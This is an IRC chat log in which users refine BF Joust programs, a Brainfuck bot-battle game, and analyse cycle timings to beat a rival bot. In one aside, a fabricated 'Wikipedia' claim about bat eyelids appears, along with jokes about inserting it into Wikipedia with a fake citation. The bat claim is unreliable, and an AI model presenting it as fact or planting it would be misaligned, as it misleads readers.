02:59:52 <myndzi> then when your code runs it is 0 again
02:59:54 <quintopia> so...[]+.+[]-.-
02:59:58 <myndzi> so [].-
03:00:05 <quintopia> oh
03:00:13 <myndzi> if you ran [] when it wasn't in the middle of "being near zero"
03:00:17 <myndzi> and if it's a net negative
03:00:24 <myndzi> then it first hits zero on the second minus
03:00:37 <quintopia> so [].+
03:01:08 -!- mtve has quit (Ping timeout: 255 seconds).
03:01:21 <myndzi> then it runs +--+-- and you run .- which makes it become -1 and it's on the second minus
03:01:30 <myndzi> so you counteract that with a +, making it -1 again
03:01:36 <myndzi> and it runs + making it 0
03:01:40 <myndzi> then you counteract the - with a +
03:01:48 <myndzi> so [].-+.+
03:01:51 <myndzi> will kill it
03:02:01 <myndzi> guaranteed, i believe
03:02:11 <myndzi> unless you happen to enter [] in an unlucky spot
03:02:16 <myndzi> but that can be fixed by looping on the above code
03:02:48 <myndzi> !bfjoust shutter (>[[].-+.+])*29
03:03:15 <myndzi> damn, stop stealing my breakdown
03:03:21 <myndzi> i goofed on one polarity somehow
03:03:24 <myndzi> let me rethink this
03:03:43 <EgoBot> Score for myndzi_shutter: 7.7
03:04:34 <zzo38> I would like to able to have something like: phrase("destroy",6,"target","creature") which "creature" might converted to and(is(entity.object.permanent),has_type(type.creature)) and then "target" to something like target(...) and then deal with multiple targets, with actions, and then move target(...) outside and make it referenced within the action, and so on...
03:04:36 <quintopia> welp...no luck...looks like i'm not detecting it right :P
03:04:55 <myndzi> well i can't help you there ;)
03:05:09 <quintopia> !bfjoust shutter (>[[].-+.+])*29
03:05:19 <myndzi> why would you copy paste my code and reenter it?
03:05:30 <myndzi> it's going to have the exact same result except you look like a dick! :p
03:05:34 <myndzi> besides i'm about to fix it
03:06:02 <quintopia> i didn't see the result the first time
03:06:04 <EgoBot> Score for quintopia_shutter: 7.7
03:06:12 <quintopia> i pounded the breakdown
03:06:24 <myndzi> !bfjoust shutter (>[[].-++])*29
03:06:28 <myndzi> off by one, always the problem
03:06:47 <myndzi> Vorpal_shudder.bfjoust vs myndzi_shutter.bfjoust:
03:06:47 <myndzi> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>> >>>>>>>>>>>>>>>>>>>>>
03:06:47 <myndzi> myndzi_shutter.bfjoust wins
03:06:52 <quintopia> nice
03:07:06 <EgoBot> Score for myndzi_shutter: 9.9
03:07:08 <myndzi> waiting on the inverse one
03:07:15 <myndzi> myndzi_shutter.bfjoust vs quintopia_one_o_them_shudder_thangs.bfjoust:
03:07:15 <myndzi> <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<< <<<<<<<<<<<<<<<<<<<<<
03:07:16 <myndzi> myndzi_shutter.bfjoust wins
03:07:17 <myndzi> there
03:07:24 <quintopia> gj
03:08:54 -!- Slereah has quit (*.net *.split).
03:08:54 -!- shachaf has quit (*.net *.split).
03:08:57 <myndzi> !bfjoust shutter ----->+++++>(-)*25>(+)*25>>>>>(>[-][[].-++])*29
03:09:15 <EgoBot> Score for myndzi_shutter: 19.3
03:09:18 <myndzi> that didn't work out, forgot i could get stuck
03:09:23 <myndzi> !bfjoust shutter ----->+++++>(-)*25>(+)*25>>>>>(>[---][[].-++])*29
03:09:40 <myndzi> doesn't help
03:09:47 <myndzi> i don't want to use a loop based attack
03:10:05 <EgoBot> Score for myndzi_shutter: 27.4
03:10:13 <myndzi> !bfjoust shutter ----->+++++>(-)*25>(+)*25>>>>>(>(-)*128.[[].-++])*21
03:10:57 <myndzi> i guess i don't need the noop there
03:11:16 <EgoBot> Score for myndzi_shutter: 13.2
03:11:35 <quintopia> meh, the original wireless that ignores shudder gets more points :P
03:11:42 <myndzi> what'd i tell you
03:11:45 <myndzi> notworth the time ;p
03:12:08 <quintopia> it says to me
03:12:18 <quintopia> that there is some program that looks like shudder
03:13:05 <myndzi> wat
03:13:08 <myndzi> why does that last one get ties
03:13:18 <myndzi> all it does is add a fixed attack?
03:13:29 <myndzi> oh
03:13:30 <myndzi> silly me
03:13:33 <myndzi> i need to move after that
03:13:33 <myndzi> hahaha
03:13:41 <Gregor> OH NOOOOOOO
03:13:44 <Gregor> crapping_turtle <40 :(
03:13:56 <Gregor> And wireless #1 D-8
03:14:09 <Gregor> First time ais hasn't been in the top two since the recent revival!
03:14:23 <myndzi> lol
03:14:36 <myndzi> there, i tromp shudder perfectly again
03:15:13 <myndzi> but i get shit points against anything else
03:15:13 <myndzi> haha
03:15:47 <myndzi> maybe a looping attack is ok, but i want to beat shudder 100% so i need to do something that will eventually fall out of alignment in any eventuality
03:15:56 <quintopia> I'M SO FONCUSED
03:16:23 <quintopia> your tripwire loop doesn't work for me. i need a graphical referee to see what is happening
03:16:32 <myndzi> look at it this way
03:16:41 <myndzi> assume you are looping when shudder is far away from zero
03:16:46 <myndzi> actually wait
03:16:51 <myndzi> you mean it doesn't work when you put it in your code
03:16:54 <quintopia> yes
03:16:54 <myndzi> it's obviously looping in the wrong place
03:17:00 <myndzi> be sure you don't run it after, say, making a cell nonzero
03:17:01 <myndzi> like i did above
03:17:02 <myndzi> :)
03:17:07 <quintopia> nope
03:17:22 <quintopia> the relevant code was:
03:17:35 <quintopia> [-[++[(+)*9[.-][[+.]][[].-++]]]]
03:17:49 <quintopia> actually
03:17:53 <quintopia> that's not the one i meant
03:17:55 <quintopia> :P
03:18:07 <quintopia> [-[++[(+)*9[.-][[].-++]]]]
03:18:12 <quintopia> that one
03:18:34 <quintopia> i'll run it again and check
03:18:36 <myndzi> if [] is landing on shudder's cell, then it will work; that means if it doesn't work, it's not landing on shudder's cell
03:19:40 -!- x43112609 has joined.
03:19:57 <Gregor> !bfjoust i_regret_everythiiiiiiiiiing <
03:20:09 <EgoBot> Score for Gregor_i_regret_everythiiiiiiiiiing: 0.0
03:20:13 <myndzi> the sad thing is [---] gets the most points but doesn't 100% shudder
03:20:21 <myndzi> [--] gets fewer points but 100%s it
03:20:22 <quintopia> yeah, apparently it's not landing on shudder's flag because it isn't working
03:20:42 <myndzi> let's try with an offset clear
03:20:44 <myndzi> just for lulz
03:20:58 -!- cal153 has joined.
03:21:19 <myndzi> even worse
03:21:19 <quintopia> is there a bfjoust sim that lets me see what happened at each step of the match?
03:21:19 <myndzi> haha
03:21:28 <myndzi> not that i know of
03:21:32 <myndzi> bfjoust debugger lol
03:21:37 <myndzi> i thought about how handy it would be earlier today
03:22:02 <Gregor> !bfjoust i_regret_everythiiiiiiiiiing <
03:22:19 <quintopia> why do you keep doing that?
03:22:44 <EgoBot> Score for Gregor_i_regret_everythiiiiiiiiiing: 0.0
03:22:51 <myndzi> doing what
03:22:59 <x43112609> hi dudes :)
03:23:20 <Gregor> quintopia: Because I have magic powers.
03:23:25 <Gregor> x43112609: You'd better be armed with BFJoust programs X-P
03:23:39 <quintopia> I BEAT YOUR SUICIDER HAHAHAHA
03:23:51 <quintopia> flawless victory!
03:24:57 <x43112609> urgh!!
03:25:35 <Gregor> quintopia: I'm still #16 :)
03:25:56 <quintopia> my score has gone down by 2 points since myndzi showed up :P
03:26:04 <myndzi> lol.
03:26:49 <quintopia> a bf joust debugger would be p neat though
03:27:03 <x43112609> don't know rules
03:27:16 <Gregor> x43112609: http://esolangs.org/wiki/BF_Joust
03:27:25 <Gregor> x43112609: And TECHNICALLY you don't have to do BFJoust here, but everybody else is right now :P
03:27:51 <quintopia> i would make one myself if i weren't so worried i screw the rules up when i wrote the interp :P
03:28:10 <Gregor> quintopia: EgoJoust is open.
03:28:12 <myndzi> you could always test for same results as the hill
03:28:13 <myndzi> or that
03:28:44 <x43112609> wath is BF...
03:28:50 <myndzi> lol wath
03:29:16 <myndzi> anyway, quintopia
03:29:22 <myndzi> you can modify the attack to not require a tripwire
03:29:50 <myndzi> you just have to understand that you can fall out of the loop at another point in the cycle
03:30:01 <myndzi> so you will have a longer attack
03:30:09 <myndzi> it'll go from 5 cycles to probably 20
03:30:29 <Gregor> !bfjoust rapping_turtle -(>+>-)*4>([(+)*120[+].+>]+>[(+)*120[+].->]->)*11
03:30:36 <myndzi> i may as well solve this while i'm at it
03:30:43 <EgoBot> Score for Gregor_rapping_turtle: 16.9
03:30:46 <quintopia> Gregor: yeah, but i'm no good at graphics in C
03:30:48 <Gregor> SO SENSITIVE X_X
03:30:53 <myndzi> YO MY NAME IS MC TURTLE AND I'M HERE TO SAY / BRAINFUCK HURTS MY HEAD IN THE VERY BEST WAY
03:31:30 <myndzi> I SCOOT ALONG THE TAPE / MY SIGHTS ARE SET ON RAPE / BUT I'M SLOW SO WHEN I GO IT MAY JUST TAKE ALL DAY
03:31:42 <Gregor> !bfjoust rapping_turtle -(>+>-)*4>([(+)*126[+].+>]+>[(+)*126[+].->]->)*11
03:31:47 <myndzi> that was actually more of a limerick and only if you pronounce it weirdly
03:31:47 <myndzi> lol
03:31:55 <myndzi> RIGHT so i'm going to solve shudder
03:31:57 <EgoBot> Score for Gregor_rapping_turtle: 17.5
03:33:10 <Gregor> !bfjoust rapping_turtle -(>+>-)*4>([(+)*112(+.)*32.+>]+>[(+)*112(+.)*32.->]->)*11
03:33:23 <EgoBot> Score for Gregor_rapping_turtle: 39.3
03:33:28 <Gregor> Better :)
03:34:05 <Gregor> !bfjoust rapping_turtle -(>+>-)*4>([(+)*120(+.)*16.+>]+>[(+)*120(+.)*16.->]->)*11
03:34:16 <EgoBot> Score for Gregor_rapping_turtle: 40.0
03:34:24 <quintopia> Gregor: i love how dirk hangs on so diliGENTLY
03:34:25 <Gregor> Betterer :)
03:34:30 <quintopia> even though it hits the bottom regularly
03:34:49 <Gregor> !bfjoust rapping_turtle (-)*64(>+>-)*4>([(+)*120(+.)*16.+>]+>[(+)*120(+.)*16.->]->)*11
03:35:00 <EgoBot> Score for Gregor_rapping_turtle: 31.7
03:35:04 <Gregor> Yikes
03:35:09 <quintopia> Gregor: do the points add up to zero?
03:35:13 <Gregor> !bfjoust rapping_turtle -(>+>-)*4>([(+)*120(+.)*16.+>]+>[(+)*120(+.)*16.->]->)*11
03:35:27 <Gregor> quintopia: In principle, modulo rounding error on output.
03:35:33 <EgoBot> Score for Gregor_rapping_turtle: 40.0
03:35:46 <quintopia> so this is a zero sum game. neat :P
03:36:01 <Gregor> quintopia: Points are not the final score.
03:36:10 <Gregor> quintopia: And score does not add to anything meaningful.
03:36:15 <quintopia> SO WAT
03:36:21 <Gregor> !bfjoust snapping_turtle <
03:36:31 <EgoBot> Score for Gregor_snapping_turtle: 0.0
03:36:55 <Gregor> quintopia: http://codu.org/eso/bfjoust/SCORES
03:37:05 <quintopia> poor keke2
03:37:33 <quintopia> Gregor: yeah, i was just about to suggest you rewrite that so it didn't take a million years of reading to figure out what it means
03:37:58 -!- x43112609 has left (?).
03:38:06 <Gregor> Didn't think he'd last :P
03:38:26 <Gregor> quintopia: It's really not that complicated X-P
03:38:37 <quintopia> then why is the description so complicated
03:38:48 <quintopia> i understood it once
03:38:54 <quintopia> but it's slippery
03:39:37 -!- Slereah has joined.
03:39:37 -!- shachaf has joined.
03:40:10 <Gregor> Facebook:
03:40:10 <Gregor> #1: I do believe I am blind as a fucking bat.
03:40:10 <Gregor> Me: ‎"Most species of bats have a second set of opaque eyelids which close only during sexual intercourse, protecting the eyes from damage due to mid-coital scratching or biting." -- Wikipedia
03:40:10 <Gregor> Hmm. Did not know. Explains the post though.
03:40:10 <Gregor> #3: My favorite part is you looking that up.
03:40:20 <Gregor> My favorite part is being able to make pseudowikipedia that people apparently think is real :P
03:41:04 <quintopia> lol
03:41:18 <quintopia> that is pretty believable
03:41:43 <quintopia> i think you should add it to wikipedia
03:41:50 <Gregor> lol
03:41:52 <quintopia> and preemptively tag it with citation needed
03:42:01 <Gregor> Bahahah
03:42:05 <Gregor> I was thinking citing something irrelevant.
03:42:17 <quintopia> lol
03:42:19 <quintopia> better idea
03:42:24 <quintopia> screencap the facebook thread
03:42:26 <quintopia> imgur it
03:42:27 <quintopia> cite that
03:42:40 <Gregor> X-D
03:43:08 <quintopia> see how long it lasts
03:45:04 <myndzi> "poor keke2" wut?
03:47:47 <quintopia> it is drowning
03:48:09 <quintopia> did you solve shudder?
03:48:13 -!- pingveno has quit (Ping timeout: 255 seconds).
03:50:54 <quintopia> ohohoh
03:50:57 <quintopia> i think i know
03:51:00 <quintopia> what's wrong
03:51:06 <quintopia> with wireless XD
03:54:13 <myndzi> ok
03:54:16 <myndzi> universal shudder killer:
03:54:18 <quintopia> still can't beat shudder thou
03:54:27 <myndzi> .--++++++
03:54:31 <myndzi> after any loop exits
03:54:33 <myndzi> ezpz
03:54:39 * quintopia bows
03:54:55 <myndzi> you have to let me be the first to submit though
03:54:57 <myndzi> ;)
03:55:16 -!- pingveno has joined.
03:55:16 <quintopia> go quick cuz i'm about to stick it in wireless to see what happens
03:55:27 <myndzi> it's going right now
03:55:30 <myndzi> for a test run
03:55:54 <myndzi> success
03:56:02 <myndzi> not even gonna bother trying to alter the timings
03:56:03 <quintopia> wait a second
03:56:06 <myndzi> i am content it should work
03:56:22 <quintopia> you have to add ---- to the end if it's in a loop right?
03:56:25 <myndzi> turned out to be simpler than i thought
03:56:34 <myndzi> you don't need to loop this
03:56:40 <quintopia> no
03:57:01 <quintopia> but i need to be in a loop to detect i need it in the first place XD
03:57:01 <myndzi> hm it should be
03:57:04 <myndzi> .--++++++.
03:57:10 <myndzi> or at least the last cell should not be + or -
03:57:13 <myndzi> so maybe
03:57:15 <myndzi> .--++++++?
03:57:19 <myndzi> for clarity's sake
03:57:31 <myndzi> it doesn't have to be this long, the original would work fine most times
03:57:36 <myndzi> but this handles all fringe cases
03:57:43 <myndzi> it works on net positive and net negative
03:57:52 <myndzi> if the loop falls through after any time it hits 0
03:58:04 <myndzi> there are three times it can hit zero
03:58:22 <myndzi> so if you want a loop to fall through
03:58:24 <myndzi> you need . so shudder dies
03:58:30 <myndzi> then put it back to zero
03:58:34 <myndzi> then the loop will fall through properly
03:58:41 <myndzi> if it's not shudder, then no probz
03:58:47 <myndzi> i wonder if some of my programs can benefit from this
03:58:57 <myndzi> i don't know if they consistently win against those two or what
03:59:34 <myndzi> careful and careless don't use loops so it wouldn't apply to them, they probably lose some and there's not much help
03:59:37 <myndzi> slowrush might benefit though
04:01:43 <myndzi> there's ONE program on the hill making it this slow lol
04:01:56 <myndzi> defend7 apparently
04:02:04 <quintopia> !bfjoust good_vibrations (++--+++)^100000
04:02:10 <myndzi> and the others i guess
04:02:12 <quintopia> wat
04:02:14 <myndzi> oh give me a break
04:02:16 <quintopia> !bfjoust good_vibrations (++--+++)*100000
04:02:22 <myndzi> we don't need that shit ;p
04:02:30 <quintopia> it'll probably suck
04:02:34 <quintopia> i'm just curious
04:02:36 <myndzi> heh
04:03:18 <quintopia> defend13 does surprisingly well for being so easy to beat
04:03:37 <quintopia> i had another idea for it too...
04:04:39 <myndzi> hahah you still fail against shudder
04:05:00 <quintopia> not surprising
04:05:08 <quintopia> i still can't figure out what i'm doing wrong against it
04:05:24 <EgoBot> Score for quintopia_good_vibrations: 23.5
04:05:25 <EgoBot> Score for quintopia_good_vibrations: 23.5
04:06:44 <myndzi> i didn't implement it right in slowrush either when i tried that
04:06:48 <myndzi> put it back!
04:08:42 -!- zzo38 has quit (Remote host closed the connection).
04:09:17 <quintopia> !bfjoust superfast_jellyfish (>([{+[--[(-[{(+)*22[.+].--++++++.----}])%22]]}])%4)*29
04:09:39 <EgoBot> Score for quintopia_superfast_jellyfish: 17.4
04:10:23 <quintopia> ha!
04:10:24 <quintopia> perfect!
04:10:37 <quintopia> it sucks, but it beats defend13!
04:10:57 <quintopia> still ties with shudder though
04:11:00 <myndzi> gonna stop messing with stuff
04:11:00 <quintopia> you explain that one
04:11:10 <myndzi> [.+] <- getting stuck
04:11:12 <myndzi> perhaps
04:11:18 <myndzi> remember, the loop has to exit
04:11:30 <quintopia> could be
04:12:01 <quintopia> easy to find out i guess
04:12:12 <myndzi> probably not getting stuck
04:12:16 <myndzi> should still hit 0
04:12:18 <myndzi> it's so slow
04:12:38 <myndzi> but are you sure that syntax even works?
04:12:41 <myndzi> meh
04:13:54 <quintopia> it may be broked. i was wrong about beating defend13
04:13:58 <quintopia> soooo....
04:14:47 <quintopia> !bfjoust when_will_it_explode (>[.+].--++++++)*29
04:15:38 <EgoBot> Score for quintopia_when_will_it_explode: 23.0
04:16:43 <quintopia> it ties with shudder for all of two polarities and half of the other two
04:16:58 <quintopia> hardly sweeps it
04:19:59 -!- myndzi\ has joined.
04:21:00 <myndzi\> is it exiting the loop, is the question
04:21:10 <myndzi\> i used [--] and sweep it
04:21:20 <myndzi\> ----->+++++>(-)*25>(+)*25>>>>>(>[--].--++++++)*21
04:21:38 <myndzi\> hmm, i think i may have forgotten something important
04:21:49 <myndzi\> let me see how this plays out if the last instruction before ] is a math instruction
04:22:17 <myndzi\> result (you + enemy) = 0, ] falls through
04:22:22 -!- myndzi has quit (Ping timeout: 240 seconds).
04:22:26 <myndzi\> this is different from it reaching 0 naturally
04:22:43 <myndzi\> but it can't happen if you oppose the enemy, only if you are moving in the same direction
04:22:46 <myndzi\> which means it is premature
04:29:41 -!- augur has quit (Remote host closed the connection).
04:30:56 <myndzi\> well
04:31:02 <myndzi\> try this:
04:31:22 <myndzi\> (>[.+]--.--+++++++++)*29
04:31:31 <myndzi\> that assumes the + "helped" it along
04:31:49 <myndzi\> though to be honest my head is severely hurting from this spreadsheet being hard to read
04:31:52 -!- myndzi\ has changed nick to myndzi.
04:31:54 <quintopia> haha
04:32:23 <myndzi> i synched it up so that the + in the loop makes it hit 0 in each of the three places
04:32:30 <myndzi> for each of the six cases
04:32:39 <quintopia> !bfjoust superfast_jellyfish (>([{+[--[(-[{(+)*22[.+]--.--+++++++++.-----}])%22]]}])%4)*29
04:32:50 <myndzi> it's interesting that a straight row of +s or -s at the right location takes care of it
04:33:02 <EgoBot> Score for quintopia_superfast_jellyfish: 17.3
04:33:04 <myndzi> we only really shortcut this for one direction
04:33:14 <quintopia> which is why (+)*10000 probably works
04:33:41 <myndzi> actually i guess it's obvious that a straight row of +/- takes care of it
04:33:45 <quintopia> Vorpal_shudder.bfjoust vs quintopia_superfast_jellyfish.bfjoust:
04:33:45 <quintopia> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX
04:33:48 <quintopia> Tie
04:33:52 <myndzi> twat
04:33:57 <myndzi> you're obviously doing it wrong
04:33:58 <myndzi> ;p
04:34:01 <quintopia> obv
04:34:03 <quintopia> you do it
04:34:09 <myndzi> i already did, with my original thing!
04:34:18 <myndzi> why don't you just go like
04:34:34 <myndzi> (.)*20(-)*100(+)*100
04:34:35 <myndzi> and give up
04:34:35 <myndzi> :P
04:34:49 <myndzi> also that wasn't an insult, it was t + wat
04:34:50 <myndzi> whoops
04:35:01 <quintopia> that's how i read it
04:35:13 <myndzi> you know
04:35:26 <myndzi> i have no idea why it would tie
04:35:30 <myndzi> but try the simpler one
04:35:36 <quintopia> aight
04:35:46 <myndzi> i want to at least see that that works
04:35:47 <myndzi> haha
04:36:06 <myndzi> the instruction immediately before ] can skew it, that's why i had to revise
04:36:11 <quintopia> !bfjoust simpler_one (>[.+]--.--+++++++++.-----)*29
04:36:38 <EgoBot> Score for quintopia_simpler_one: 9.8
04:36:41 <myndzi> i made a shorter sequences
04:36:42 <myndzi> -s
04:36:49 <quintopia> Vorpal_shudder.bfjoust vs quintopia_simpler_one.bfjoust:
04:36:50 <quintopia> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX
04:36:51 <myndzi> i started in the wrong direction that's why it was so long
04:36:53 <quintopia> Tie
04:36:59 <myndzi> wtf man >:(
04:37:07 <quintopia> i think your spreadsheet is lying to you
04:37:14 <myndzi> it worked for ME
04:37:35 <myndzi> !bfjoust wat (>[.+]++.-------)*29
04:37:57 <EgoBot> Score for myndzi_wat: 25.3
04:37:58 <myndzi> oh, right
04:38:07 <myndzi> !bfjoust wat (.>[.+]++.-------)*29
04:38:14 <quintopia> Vorpal_shudder.bfjoust vs myndzi_wat.bfjoust:
04:38:14 <quintopia> XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXX
04:38:16 <myndzi> whoops, did that wrong
04:38:17 <quintopia> Tie
04:38:19 <quintopia> oho
04:38:22 <myndzi> yes i can read
04:38:23 <myndzi> !bfjoust wat .(>[.+]++.-------)*29
04:38:26 <EgoBot> Score for myndzi_wat: 26.7
04:38:29 <myndzi> i'm trying to use your attack loop
04:38:33 <myndzi> now
04:38:40 <myndzi> instead of the one i used, which worked :P
04:39:02 <myndzi> !bfjoust wat ..(>[.+]++.-------)*29
04:39:13 <quintopia> the one you used would fail against timing based progs like defend7
04:39:14 <EgoBot> Score for myndzi_wat: 24.8
04:39:15 <EgoBot> Score for myndzi_wat: 24.8
04:39:15 <myndzi> anyway, as you can see it is a timing issue
04:39:31 <myndzi> i skew the cycles by one and get different results
04:39:45 <myndzi> i think it must be missing the 0 on those ties
04:39:47 <myndzi> getting stuck infinitely
04:39:58 <quintopia> huh
04:39:59 <myndzi> the + boosts it past
04:40:06 <myndzi> and you only win sometimes when it lines up with the -
04:40:33 <myndzi> instead of -1 0 1 0 1 2 1 2 3 it goes like
04:40:34 <quintopia> sounds reasonable
04:40:38 <myndzi> -1 1 2 1 2 3
04:40:42 <myndzi> never leaves the loop
04:40:52 <myndzi> make the cycles something that will wind up at 0 at some point
04:41:38 <quintopia> so if you use [--] it sweeps it?
04:41:43 <myndzi> yes
04:42:02 <myndzi> with my original pattern even
04:42:03 <quintopia> pity that's even
04:42:13 <myndzi> shutter: ----->+++++>(-)*25>(+)*25>>>>>(>[--].--++++++)*21
04:42:19 <myndzi> well, change the pattern
04:42:29 <myndzi> just don't change it to something that can synch up in certain tape lengths
04:42:37 <myndzi> maybe use two loops
04:42:45 <myndzi> though that'll be trickier to calculate
04:42:48 <myndzi> it'd have to be something like
04:42:49 <myndzi> ].]
04:42:50 <quintopia> !bfjoust shutter2 ----->+++++>(-)*25>(+)*25>>>>>(>[---].--++++++)*21
04:42:54 <myndzi> and then crazier stuff
04:43:06 <EgoBot> Score for quintopia_shutter2: 27.4
04:43:19 <myndzi> also: make your own damn spreadsheet ;p
04:43:20 <myndzi> lol
04:43:25 <myndzi> this shit goes A through U
04:43:26 <myndzi> D:
04:43:28 <quintopia> sweeps it
04:43:34 <myndzi> only reason i can read it at all is conditional formatting
04:43:36 <myndzi> 0 cells = red
04:43:40 <myndzi> lol
04:43:59 <myndzi> could probably make a program to calculate what must trail a loop of any kind
04:44:01 <myndzi> i should do that
04:44:27 <myndzi> needs to wait till i get home though
04:44:31 <myndzi> still at work, it's 9pm jesus
04:44:34 <myndzi> gonna go drive
04:46:22 <quintopia> have fun
04:47:52 -!- poiuy_qwert has quit (Quit: This computer has gone to sleep).
04:48:50 -!- poiuy_qwert has joined.
04:57:45 <quintopia> i came up with one that gets a slightly lower score than before but beats all the shudders...i think i'm gonna leave it like that :P
04:59:14 -!- augur has joined.
04:59:41 <quintopia> oh wait, no i'm not. because it loses to decoytuner and decoybooster2 now :P
05:00:50 -!- Sgeo has quit (Read error: Connection reset by peer).
05:01:16 -!- Sgeo has joined.
05:11:55 -!- poiuy_qwert has quit (Ping timeout: 272 seconds).
05:12:32 -!- poiuy_qwert has joined.
05:19:35 -!- asiekierka has joined.
05:23:57 -!- Sgeo_ has joined.
05:24:12 -!- Mathnerd314 has quit (Remote host closed the connection).
05:24:22 <myndzi> lol.
05:24:32 <myndzi> right, so i was making things too complicated i think
05:24:39 <myndzi> it's easier to go through this in my head than messing with a spreadsheet
05:24:48 <myndzi> if the instruction before ] is a -, here are the cases
05:25:36 <myndzi> polarity --+, first instruction: double-decrement; it can hit 0 if it was 2, then it goes to -1, then it goes to 0 on its own
05:26:17 <myndzi> polarity --+, second instruction: double-decrement; it can hit 0 if it was 2, then it goes to 1, then it goes to 0 on its own
05:26:21 -!- Sgeo_ has quit (Read error: Connection reset by peer).
05:26:43 -!- Sgeo has quit (Ping timeout: 240 seconds).
05:26:44 <myndzi> polarity --+, third instruction: net change: 0; it cannot hit 0, the loop will never fall through
05:26:46 -!- Sgeo_ has joined.
05:26:59 <myndzi> in the f irst two cases, the next instruction is - and so you should increment to kill it
05:27:48 <myndzi> which gives us ?-].+
05:27:56 <myndzi> leaving only the other polarity cases to deal with
05:28:19 <myndzi> polarity ++-, first instruction: no change; it cannot hit 0, the loop will not fall through
05:28:23 <myndzi> polarity ++-, second instruction: no change; it cannot hit 0, the loop will not fall through
05:29:03 <myndzi> polarity ++-, third instruction: double decrement; it can hit zero if it was at 2; then it goes to 1, 2, 2 during the ] . +
05:30:05 <myndzi> the next two instructions are + so we have to ward it off: --
05:30:16 <myndzi> the one after is -, so - gives us a double decrement, bringing us to zero
05:30:31 <myndzi> and finally the one after that is a +, so one more - seals the deal
05:31:17 <myndzi> therefore: a loop concluding in -].+---- should kill all shudders
05:31:30 <myndzi> so long as the timing resolves such that it can fall through
05:32:38 <quintopia> well, i determined that using [.-] as the kill loop works much better than basically any thing else, so i gave up on expecting to be able to kill shudder without ruining my score
05:32:49 <myndzi> testing proves it out
05:33:10 <myndzi> interestingly, my modified shutter does much worse
05:33:17 <myndzi> even though it has a simpler kill
05:33:51 <quintopia> your new shutter appears to kill good_vibrations too
05:33:57 <myndzi> ...that was my initial conclusion ;P
05:34:36 <quintopia> though
05:34:42 <quintopia> not 100% like with the other shudder
05:34:49 <myndzi> of course
05:34:54 <myndzi> only when it lines up with the same set of instructions
05:35:12 <myndzi> i'm sure i could extend it to cover that but then someone would just make a bigger one and ugh
05:35:30 <quintopia> i bet it would fare well against almost all shudders that do okay though
05:35:39 <quintopia> just...not against anything else
05:35:58 <quintopia> the real trick here is to figure out what to put after ?-][
05:36:10 <quintopia> so you don't do anything if it's *not* shudder
05:36:26 <quintopia> ---.+++++++++. works but that's long
05:36:53 <myndzi> well see what i said above; it's going to be zero in that cell
05:37:03 <myndzi> so it will skip it even if it is shudder
05:37:08 <myndzi> you would have to add a .
05:37:14 <myndzi> then make a longer loop
05:37:28 -!- Sgeo__ has joined.
05:37:58 <quintopia> fine. ?-].[ then
05:38:10 <myndzi> like i said, you'd just have to add more instructions
05:38:18 <myndzi> it can be so short because you catch it at a convergence
05:38:24 <quintopia> so
05:38:26 <myndzi> but the longer you wait, the more you have to struggle to swing to the other side
05:38:45 <quintopia> so would ].[+++-------] do it
05:38:52 <myndzi> look at what i said above
05:38:55 <myndzi> figure it out for yourself
05:39:09 <quintopia> you said something along the lines of tl;dr
05:39:44 <myndzi> look man, there's only so much work i'm going to do for YOU
05:39:53 <myndzi> i have satisfied myself
05:39:58 <myndzi> if you aren't satisfied, then do some damn homework
05:40:03 <quintopia> I'M TRYING MAN
05:40:13 <myndzi> i laid it out quite simple above, just extend the pattern
05:40:17 <quintopia> i'm staring at what you wrote
05:40:19 -!- Sgeo_ has quit (Ping timeout: 240 seconds).
05:40:22 <quintopia> and trying to make heads or tails of it
05:40:30 <myndzi> i went through every applicable case
05:40:31 <quintopia> might take a few minutes
05:40:35 <myndzi> there are three
05:40:53 <myndzi> only three cases where a -] loop will end when executing on a "shudder cell"
05:42:38 <quintopia> oh i see what format you're writing it out in now
05:42:57 <quintopia> "second instruction" means "the second of the three coincides with the - inside the loop"
05:45:05 <myndzi> here, i've got a good form for you
05:45:06 <myndzi> just a second
05:45:16 <quintopia> i've almost got it worked out man
05:45:23 <myndzi> yeah, but this will look so obvious
05:45:24 <myndzi> :)
05:47:08 <myndzi> yeah it makes it super long
05:47:34 <myndzi> but, it may be that you can use the second loop to your advantage to make the code succinct
05:47:36 <quintopia> so -].[.++--------] will do it
05:47:37 <quintopia> got it
05:47:38 <myndzi> not that it matters since it's gonna skip all this
05:47:42 <myndzi> not quite
05:47:50 <myndzi> your timing is off
05:47:51 <myndzi> one moment
05:48:05 <quintopia> i think that works man
05:48:11 <myndzi> your timing is off
05:48:12 <quintopia> i could spell out the cases like you do
05:48:17 <myndzi> Shudder : - - + - - + -
05:48:17 <myndzi> Attacker: - ] . [ + . +
05:48:17 <myndzi> Cell Val: 0 -1 0 -1 -1 0 0
05:48:17 <myndzi> Shudder : - + - - + - -
05:48:17 <myndzi> Attacker: - ] . [ + . +
05:48:20 <myndzi> Cell Val: 0 1 0 -1 1 0 0
05:48:37 <myndzi> actually i guess they are equivalent
05:48:56 <myndzi> and yeah, the long string of -s is necessary
05:49:05 <myndzi> it only goes down by one every three cycles
05:49:18 -!- cal153 has quit (Ping timeout: 240 seconds).
05:49:19 <quintopia> and so to make it up...
05:49:32 <quintopia> -].[.++--------++++++] will do it
05:49:34 -!- cal153 has joined.
05:49:50 <myndzi> it should only enter that loop if you are running on a shuddering program
05:49:53 <myndzi> not on a stable one
05:50:01 <quintopia> -].[.++--------.++++++] will do it
05:50:04 <myndzi> so it's kinda pointless to try and bring it back to what it was at the start
05:50:11 <myndzi> you also don't need to pause
05:50:24 <myndzi> it takes 13 -'s
05:50:25 <quintopia> wasn't sure whether i finished it or not
05:50:27 <myndzi> and all of them are required
05:50:32 <quintopia> 13?
05:50:37 <myndzi> Shudder : - + + - + + - + + - + + - + + - + + - +
05:50:38 <myndzi> Attacker: - ] . [ + . + - - - - - - - - - - - - -
